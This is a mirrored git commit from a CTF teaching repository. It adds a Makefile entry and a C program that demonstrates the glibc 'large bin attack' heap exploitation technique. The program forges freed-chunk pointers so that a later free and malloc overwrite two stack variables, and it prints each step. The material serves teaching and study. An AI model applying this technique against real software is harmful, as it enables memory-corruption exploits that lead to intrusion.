mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2025-06-24 04:05:03 +07:00
update
This commit is contained in:
@ -1,4 +1,4 @@
|
||||
PROGRAMS = fastbin_dup tcache_double-free fastbin_dup_into_stack fastbin_dup_consolidate unsafe_unlink house_of_spirit poison_null_byte first_fit house_of_lore tcache_house_of_lore overlapping_chunks overlapping_chunks_2 house_of_force unsorted_bin_attack unsorted_bin_into_stack tcache_unsorted_bin_attack house_of_einherjar house_of_orange
|
||||
PROGRAMS = fastbin_dup tcache_double-free fastbin_dup_into_stack fastbin_dup_consolidate unsafe_unlink house_of_spirit poison_null_byte first_fit house_of_lore tcache_house_of_lore overlapping_chunks overlapping_chunks_2 house_of_force unsorted_bin_attack unsorted_bin_into_stack tcache_unsorted_bin_attack house_of_einherjar house_of_orange large_bin_attack
|
||||
|
||||
CFLAGS += -std=c99 -g
|
||||
|
||||
|
54
src/others/3.1.6_heap_exploit/large_bin_attack.c
Normal file
54
src/others/3.1.6_heap_exploit/large_bin_attack.c
Normal file
@ -0,0 +1,54 @@
|
||||
#include<stdio.h>
|
||||
#include<stdlib.h>
|
||||
|
||||
int main() {
|
||||
unsigned long stack_var1 = 0;
|
||||
unsigned long stack_var2 = 0;
|
||||
|
||||
fprintf(stderr, "The targets we want to rewrite on stack:\n");
|
||||
fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
|
||||
fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
|
||||
|
||||
unsigned long *p1 = malloc(0x100);
|
||||
fprintf(stderr, "Now, we allocate the first chunk: %p\n", p1 - 2);
|
||||
malloc(0x10);
|
||||
|
||||
unsigned long *p2 = malloc(0x400);
|
||||
fprintf(stderr, "Then, we allocate the second chunk(large chunk): %p\n", p2 - 2);
|
||||
malloc(0x10);
|
||||
|
||||
unsigned long *p3 = malloc(0x400);
|
||||
fprintf(stderr, "Finally, we allocate the third chunk(large chunk): %p\n\n", p3 - 2);
|
||||
malloc(0x10);
|
||||
|
||||
// deal with tcache
|
||||
// int *a[10], *b[10], i;
|
||||
// for (i = 0; i < 7; i++) {
|
||||
// a[i] = malloc(0x100);
|
||||
// b[i] = malloc(0x400);
|
||||
// }
|
||||
// for (i = 0; i < 7; i++) {
|
||||
// free(a[i]);
|
||||
// free(b[i]);
|
||||
// }
|
||||
|
||||
free(p1);
|
||||
free(p2);
|
||||
fprintf(stderr, "Now, We free the first and the second chunks now and they will be inserted in the unsorted bin\n");
|
||||
|
||||
malloc(0x30);
|
||||
fprintf(stderr, "Then, we allocate a chunk and the freed second chunk will be moved into large bin freelist\n\n");
|
||||
|
||||
p2[-1] = 0x3f1;
|
||||
p2[0] = 0;
|
||||
p2[2] = 0;
|
||||
p2[1] = (unsigned long)(&stack_var1 - 2);
|
||||
p2[3] = (unsigned long)(&stack_var2 - 4);
|
||||
fprintf(stderr, "Now we use a vulnerability to overwrite the freed second chunk\n\n");
|
||||
|
||||
free(p3);
|
||||
malloc(0x30);
|
||||
fprintf(stderr, "Finally, we free the third chunk and malloc again, targets should have already been rewritten:\n");
|
||||
fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
|
||||
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
|
||||
}
|
Reference in New Issue
Block a user